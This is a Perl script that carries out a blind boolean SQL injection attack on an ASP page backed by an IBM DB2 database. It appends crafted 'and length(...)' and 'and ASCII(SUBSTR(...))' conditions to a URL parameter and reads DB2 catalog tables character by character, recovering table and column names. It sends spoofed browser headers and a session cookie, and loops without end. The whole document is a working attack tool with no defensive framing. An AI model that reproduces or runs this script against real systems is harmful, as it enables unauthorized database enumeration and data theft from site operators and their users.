#!/usr/bin/perl use LWP::UserAgent; $path = "http://www.site.com/visit/index.asp?id=6503"; $string= "superhei"; $ARGC = @ARGV; if ( @ARGV[0]==1){ $mod="SYSIBM.SYSCOLUMNS"; } if ( @ARGV[0]==2){ $mod="SYSIBM.SYSTABLES"; } @list=('ASET_ID','AVE_PRICE','AUDI_NO','EMP_ID','EMP_ME','EMP_NAME'); START: $table=join("','", @list); $tablex=''; for($iii=1;$iii<31;$iii++){ $que = $path." and length((SELECT NAME from ".$mod." where name not in ('".$table."') fetch first 1 rows only))=".$iii; if ( &check($que) ){ last; } } $len=$iii+1; for($ii=1;$ii<$len;$ii++){ for ($i=65;$i<123;$i++){ $que = $path." and ASCII((SELECT (SUBSTR(NAME,".$ii.",1)) from ".$mod." where name not in ('".$table."') fetch first 1 rows only))=".$i; if ( &check($que) ){ sleep(1); print chr($i); $tablex=$tablex.chr($i); last;} } } print $iii; print $tablex; push(@list,$tablex) ; goto START; sub check($) { my @ns_headers = ( 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)', 'Accept' => 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*', 'Accept-Language' => 'zh-cn', 'Host' =>'www.site.com', 'Connection' =>'Keep-Alive', 'Cookie'=>'ASPSESSIONIDSAAQTTBR=OEHKJJOBBKAADNNPLKFCNEAL' ); $http_query = $_[0]; print "\r\n $http_query \r\n"; $mcb_reguest = LWP::UserAgent->new() or die; $res = $mcb_reguest->get($http_query, @ns_headers); @results = $res->content; sleep(1); @num=grep /$string/, @results; $size=@num; if ($size > 0) { return 1; } return 0; }